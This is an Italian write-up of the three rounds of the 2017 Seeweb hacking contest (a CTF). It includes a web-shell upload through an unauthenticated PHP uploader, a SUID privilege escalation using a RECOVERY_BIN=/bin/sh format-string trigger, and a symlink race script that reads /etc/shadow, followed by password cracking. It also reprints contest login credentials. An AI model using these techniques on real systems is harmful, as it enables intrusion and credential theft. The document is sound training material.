SOLUZIONE Seeweb Hacking Contest 2017: Music Of The Atoms

Da Lunedì 15 Maggio 2017 alle ore 10:00 a Mercoledì 31 Maggio 2017 alle ore 10:00 si è svolto l’hacking contest di Seeweb al quale abbiamo avuto l’onore di partecipare. Anche per questa edizione siamo lieti di presentare il nostro writeup degli step necessari a risolvere le varie challenge.

Per ognuna delle 3 manche Seeweb ha inviato una mail con le indicazioni da seguire per iniziare il percorso e la storia ad esso correlata.

Prima manche

Ciao,

ti ringraziamo per avere partecipato all'Hacking Contest di Seeweb.

Potresti portarti a casa un TrackR Bravo, una USB Rubber Ducky oppure un KeyLogger USB.

E' il momento di vestire i panni di Joel Parker, temuto e stimato BlackHat, e di identificare i cyber-criminali. La tua storia inizia da qui: https://hc.seeweb.it/2822022B6D2903C83D30/

Se sei alla ricerca di qualche suggerimento seguici su Twitter e Facebook. Rimani sempre aggiornato!

In bocca al lupo,
il team Seeweb

Collegandoci a https://hc.seeweb.it/2822022B6D2903C83D30/ ci siamo trovati davanti un puzzle da ricostruire, il quale ci ha fornito un secondo URL da seguire.

Una volta collegati a r3sistance.seeweb.it ci si è presentato una webapp con molte funzionalità, la cui quasi totalità disabilitate.

La prima cosa che ci ha colpiti è stato un cookie, il quale veniva settato, sempre uguale, una volta che la pagina index.php del sito veniva visitata, così dopo aver provato ad utilizzare tutte le funzionalità del sito abbiamo provato a vedere se venissero alterate in qualche modo nel caso noi modificassimo il cookie.
Dopo un considerevole numero di tentativi abbiamo identificato che la funzionalità di gestione dei documenti, collegandosi con SECRET-KEY anonymous leggeva il parametro spd dal cookie e ritornava una lista dei file presenti nella directory indicata al suo interno.

Grazie a queste informazioni siamo venuti a conoscenza della presenza di 2 script PHP nella medesima cartella di engine.php, di cui conoscevamo la path in quanto era l’endpoint richiamato da tutte le funzionalità della webapp, ovvero authenticated_form_upload.php e authenticated_form_upload.php_old.

Il secondo file, avendo estensione php_old, era scaricabile, infatti il server non lo interpretava come un file eseguibile. Una volta scaricato ne abbiamo analizzato il comportamento.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php

$nome=$_FILES['file']['name'];

    if (move_uploaded_file($_FILES['file']['tmp_name'], "uploads/$nome")) {
        print "Received {$_FILES['file']['name']} - its size is {$_FILES['file']['size']}";
    } else {
        print "Upload failed!";
    }

?>

Come risulta chiaro dal codice era possibile caricare file arbitrari senza autenticazione. Sperando che il file autenticated_form_upload.php si comportasse nello stesso modo, abbiamo scritto una paginetta html che permettesse di effettuare la richiesta POST di upload corretta.

1
2
3
4
<form enctype="multipart/form-data" method="POST" action="http://r3sistance.seeweb.it/assets/php/authenticated_form_upload.php">
	<input type="file">
	<input type="submit">
</form>

Una volta aperta la pagina html in un browser e selezionata la nostra shell in PHP realizzata con weevely abbiamo effettuato il submit del form ottenendo un corretto upload.

Navigando il filesystem abbiamo trovato un archivio ZIP nella root directory chiamato SeewebContestCheckpoint.zip. Dopo averlo scaricato abbiamo notato che lo ZIP era protetto da password, così abbiamo utilizzato John The Ripper per crackarne la password. Dopo qualche ora john ci ha comunicato che la password dello ZIP era abygurl69. A questo punto non era rimasto che estrarlo e prendere la prima flag.

Seconda Manche

Ciao __NOME__,

ti ringraziamo per aver effettuato la registrazione al #SeewebContest

E' in corso la seconda manche, iniziata Giovedi' 18 Maggio 2017 alle ore 10:00 e che terminera' Giovedi' 25 Maggio 2017 alle ore 10:00.

Ti ricordiamo che l'evento e' articolato su un numero di 3 manche e si svolgera' secondo il seguente calendario:

1⚬ Manche: Lunedi' 15 Maggio alle ore 10:00
2⚬ Manche: Giovedi' 18 Maggio alle ore 10:00
3⚬ Manche: Giovedi' 25 Maggio alle ore 10:00

Ogni manche, pur continuando con la storia del gioco sara' comunque una "sezione" indipendente del Contest,
permettendo a chiunque di potersi aggiudicare un gadget anche se non e' riuscito a completare la fase precedente del gioco.
Se non riesci a vincere una sessione del Contest, potrai comunque aggiudicarti la successiva!

Nella manche precedente alcuni WhiteHat sono riusciti ad identificare i cyber-criminali, ma adesso e' il momento di eliminare il backup del progetto M.O.T.A. dai loro server e di calarsi nuovamente nella parte del protagonista: Joel Parker!

Host: enchant.seeweb.it
Port: 2222
User: venom
Pass: 23i05218226

Se sei alla ricerca di qualche suggerimento seguici su Twitter e Facebook e rimani sempre aggiornato!

In bocca al lupo e che vinca il migliore!

Collegandoci via SSH ci siamo trovati davanti a una Debian 8 aggiornata, senza evidenti vulnerabilità, quindi abbiamo effettuato una ricerca di eventuali binari SUID e/o GUID per elevare i nostri privilegi sulla macchina, data la presenza di diverse utenze sulla stessa.

find / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null

Questa semplice ricerca ci ha permesso di identificare la presenza di 5 binary che quando venivano eseguiti dallo user venom giravano con i privilegi dello user enchant.

  • /usr/local/bin/encrypt_communications_genkey
  • /usr/local/bin/encrypt_communications_install_modules
  • /usr/local/bin/encrypt_communications_media
  • /usr/local/bin/encrypt_communications_mngclient
  • /usr/local/bin/encrypt_communications_mnglogs

Abbiamo subito provveduto a scaricarli e ad analizzarli localmente per capirne i comportamenti. Come nel caso della webapp della prima manche, la maggior parte delle funzionalità non erano disponibili / finte. Una delle prime cose che abbiamo notato era la presenza di un controllo per le format string, il quale controllava la presenza di %n e %N all’interno dell’input utente e, se erano presenti almeno in una determinata quantità. bloccava il flusso di esecuzione del programma.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_400F9B(const char *a1)
{
  int i; // [sp+14h] [bp-1Ch]@1
  int v3; // [sp+18h] [bp-18h]@1
  signed int v4; // [sp+1Ch] [bp-14h]@1

  v3 = 0;
  v4 = 0;
  for ( i = 0; i &lt; strlen(a1); ++i )
  {
    if ( a1[i] == 110 || a1[i] == 78 ) //78 == n 110 == N
      ++v3;
    if ( a1[i] == 37 ) //37 == %
      ++v4;
  }
  return v4 &gt; 2 && v3 &gt; 0; //returns true if we have more the 2 % and more than 0 n or N
}

Arrivati ad analizzare il file encrypt_communications_mngclient abbiamo notato una strana funzionalità, la quale dopo aver letto da una variabile d’ambiente una stringa la eseguiva in una execve con i privilegi dell’utente enchant a patto che questa stringa fosse /bin/sh o /bin/bash o /bin/dash, ma solo ed esclusivamente se la funzione sub_400F9B ritornava true, ovvero se veniva rilevato un tentativo di exploitare una [format string].

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
__int64 func_t_debug()
{
  [...]
  needle = '/';
  v19 = 'b';
  v20 = 'i';
  v21 = 'n';
  v22 = '/';
  v23 = 's';
  v24 = 'h';
  v25 = '\0';
  v26 = '/';
  v27 = 'b';
  v28 = 'i';
  v29 = 'n';
  v30 = '/';
  v31 = 'b';
  v32 = 'a';
  v33 = 's';
  v34 = 'h';
  v35 = '\0';
  v36 = '/';
  v37 = 'b';
  v38 = 'i';
  v39 = 'n';
  v40 = '/';
  v41 = 'd';
  v42 = 'a';
  v43 = 's';
  v44 = 'h';
  v45 = '\0';
  [...]
  printf("\nKey-Arg: ", &v17);
  __isoc99_scanf("%255s", &v46);
  if ( (unsigned int)sub_400F9B(&v46) ) //if Key-Arg contains at least 3 "%" and 1 "n" or 1 "N"
  {
    name = 'R';
    v5 = 'E';
    v6 = 'C';
    v7 = 'O';
    v8 = 'V';
    v9 = 'E';
    v10 = 'R';
    v11 = 'Y';
    v12 = '_';
    v13 = 'B';
    v14 = 'I';
    v15 = 'N';
    v16 = '\0';
    haystack = getenv(&name); //reads RECOVERY_BIN content from env
    printf("\x1B[31mFATAL ERROR: Trying to recovery....\x1B[0m", &v46);
    fflush(stdout);
    sleep(1u);
    if ( !haystack )
    {
      printf("\x1B[31mFATAL ERROR: Unable to recovery! Exiting...\n\n\x1B[0m");
      sleep(1u);
      exit(0);
    }
    v0 = &needle;
    if ( strstr(haystack, &needle) || (v0 = &v26, strstr(haystack, &v26)) || (v0 = &v36, strstr(haystack, &v36)) ) //if RECOVERY_BIN is /bin/sh or /bin/bash or /bin/dash
    {
      fflush(stdout);
      printf("\x1B[31mFATAL ERROR: Trying to recovery....\x1B[0m", v0);
      setuid(0x3E9u); //sets enchant's user id
      seteuid(0x3E9u); //sets enchant's effective user id
      execve(haystack, 0LL, 0LL); //executes heystack content
    }
  }
  [...]
}

Sfruttare questa vulnerabilità è estremamente semplice, è sufficiente settare la variabile d’ambiente RECOVERY_BIN con /bin/sh al momento dell’esecuzione del binario con le flag -d -t, così che si entri nella funzione func_t_debug() e inserire un payload per far sì che il check della format string ritorni il valore true (es. %n%n%n%N%N%N).

Ottenuti i privilegi di enchant abbiamo potuto scaricare ed eseguire un altro binario sempre presente in /usr/local/bin chiamato venom_storage_manager. Una veloce analisi del binario ci ha permesso di identificare la password dell’utente e il contenuto della flag, in questo caso non era necessario eseguire il binario per ottenerla, ma per completezza lo abbiamo fatto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  [...]
  v3 = argv;
  v15 = *MK_FP(__FS__, 40LL);
  s2 = 't';
  v10 = 'u';
  v11 = 'l';
  v12 = 'i';
  v13 = 'p';
  v14 = '\0';
  password = 'p';
  byte_603141 = 'a';
  byte_603142 = 's';
  byte_603143 = 's';
  byte_603144 = 'w';
  byte_603145 = 'o';
  byte_603146 = 'r';
  byte_603147 = 'd';
  byte_603148 = '=';
  byte_603149 = 't';
  byte_60314A = 'u';
  byte_60314B = 'l';
  byte_60314C = 'i';
  byte_60314D = 'p';
  byte_60314E = '\0';
  puts("\n\nANS0660W Default option values will be used.\nVemon Storage Manager\nCommand Line Administrative Interface - Versione 6, Release 4, Livello 0.4\n(c) Copyright of Venom Corporation 2013. All rights reserved.\n");
  while ( 1 )
  {
    printf("Username: ", v3);
    __isoc99_scanf("%48s", s1);
    sub_40089D(s1);
    overflow(s1);
    if ( strcmp(s1, "admin") )
      printf("\x1B[33mWrong user\n\x1B[0m", "admin");
    if ( !strcmp(s1, "admin") ) //compares inputted user with admin
    {
      printf("Password: ", "admin");
      __isoc99_scanf("%48s", s1);
      if ( strcmp(s1, &s2) ) //compares inputted password with tulip
      [...]

}

Terza Manche

Ciao,

ti ringraziamo per aver effettuato la registrazione al #SeewebContest

E' in corso la terza manche, iniziata Giovedi' 25 Maggio 2017 alle ore 10:00 e che terminera' Mercoledi' 31 Maggio 2017 alle ore 10:00.

Ti ricordiamo che l'evento e' articolato su un numero di 3 manche e si svolgera' secondo il seguente calendario:

1⚬ Manche: Lunedi' 15 Maggio alle ore 10:00
2⚬ Manche: Giovedi' 18 Maggio alle ore 10:00
3⚬ Manche: Giovedi' 25 Maggio alle ore 10:00

Ogni manche, pur continuando con la storia del gioco sara' comunque una "sezione" indipendente del Contest,
permettendo a chiunque di potersi aggiudicare un gadget anche se non e' riuscito a completare la fase precedente del gioco.
Se non riesci a vincere una sessione del Contest, potrai comunque aggiudicarti la successiva!

Nelle manche precedenti alcuni WhiteHat sono riusciti ad identificare i cyber-criminali e ad eliminare il backup del progetto M.O.T.A. dai server dei cyber-terroristi, ma adesso e' il momento di distruggere il prototipo rubato alla BioSynth Laboratories e di calarsi nuovamente nella parte del protagonista: Joel Parker!

Host: icaro.seeweb.it
Port: 2222
User: takeshi
Pass: foolsgold

Se sei alla ricerca di qualche suggerimento seguici su Twitter e Facebook e rimani sempre aggiornato!

In bocca al lupo e che vinca il migliore!

Appena collegati alla macchina abbiamo eseguito ps aux per vedere i processi in esecuzione e abbiamo notato la presenza di /bin/icaro eseguito dall’utente root.

root 1122 0.0 0.0 4096 1260 ? S May22 0:00 /bin/icaro

Abbiamo provveduto prontamente a scaricare il binario e ad analizzarlo. Per prima cosa abbiamo notato che l’eseguibile bindava la porta 31081 e forkava un processo per ogni connessione alla stessa, di conseguenza per interagire era sufficiente utilizzare il comando nc 127.0.0.1 31081.

Dopo aver analizzato il binario abbiamo identificato che impostando come exploit localFileReader ci veniva chiesto il nome del file da leggere e veniva prefisso a questo nome la stringa /tmp/ e suffissa la stringa .tmp, dopodiché all’avvio dell’attacco veniva fatta una __lxstat su quel file, successivamente veniva eseguita una usleep di 333000 microsecondi e infine il file veniva letto e stampato a schermo.
Per exploitare questa race condition era necessario sapere che:

  1. Se il file /tmp/nome.tmp era un symlink la __lxstat ci avrebbe impedito di continuare il flusso dell’esecuzione
  2. Nel tempo in cui la usleep era in corso il check di __lxstat era già avvenuto, ma il file non era ancora stato letto

Ne risulta che il flusso dell’exploit è stato il seguente:

  1. Creazione di un file in /tmp/nome.tmp
  2. Esecuzione di icaro via nc
  3. Selezione del target (inutile ai fini dell’exploit, ma necessario per il funzionamento dell’eseguibile)
  4. Selezione dell’Exploit localFileReader
  5. Esecuzione dell’attacco
  6. Sostituzione del file /tmp/nome.tmp con un symlink a un file arbitrario negli 0.333 secondi della usleep
  7. Profit

Per svolgere queste azioni in un tempo così ridotto era ovviamente necessario scrivere un piccolo script, ma essendo pigri ne abbiamo scritti 2, il primo per gestire le interazioni con icaro (non era detto che al primo tentativo saremmo riusciti ad exploitare la race condition) e uno per fare la sostituzione continua del file /tmp/nome.tmp con un symlink a /etc/shadow e viceversa.

symlink.sh:

1
2
3
4
5
6
7
8
#!/bin/bash

while true; do 
ln -s /etc/shadow /tmp/name.tmp
rm /tmp/name.tmp
echo 1 &gt; /tmp/name.tmp
rm /tmp/name.tmp 
done

icaro.sh:

1
2
3
4
5
#!/bin/bash

while true; do
{ sleep 1; echo "1"; sleep 1; echo "127.0.0.1"; sleep 2; echo 2; sleep 1; echo 4; sleep 2; echo "name"; sleep 2; echo 4; sleep 3; } | tee /dev/tty | nc 0 31081
done

Dopo lanciato entrambi gli script e aver aspettato una manciata di iterazioni del secondo ecco comparirci il contenuto di /etc/shadow.

Abbiamo subito dato in pasto il file shadow per una decina di minuti a John-The-Ripper, il quale ci ha restituito la password dello user ralph.

Ci siamo quindi collegati al server via ssh con l’utente ralph e la password unicorn8 e abbiamo trovato una serie di file all’interno della suo home che abbiamo provveduto a scaricare.

I due file più interessanti erano MOTA_control_panel e 1493635127.M427207P24935.biosynthlab.seeweb.it, il contenuto del primo era un semplice link a quantum.seeweb.it, sito dove era possibile caricare un file audio.

Il secondo file invece era una e-mail con allegata un’immagine.

Analizzando l’immagine con binwalk era possibile identificare la presenza dei byte relativi alla fine di un archivio ZIP, data questa informazione abbiamo provato ad estrarre l’immagine con 7z con il comando 7z x ForYou.jpg ed è stato estratto un file chiamato (∂ + m) ψ = 0.m4a. A questo punto è stato sufficiente caricare il file su quantum.seeweb.it per concludere la nosta avventura.

Ringraziamo Seeweb e Luca Ercoli per la simpatica avventura e speriamo di vedere presto un nuovo CTF marchiato Seeweb.

Classifica

Seeweb ha pubblicato la classifica e abbiamo scoperto di aver vinto tutte e tre le manche!
1° Premio –> Smaury
2° Premio –> Pol
3° Premio –> Pei

5 min

Data

31 maggio 2017

Autore

smaury

Sono Abdel Adim Oisfi più conosciuto come smaury.
Lavoro: CEO, Security Researcher, Penetration Tester in Shielder.
Passioni: Hacking, autostop, tuffi e ginocchia sbucciate.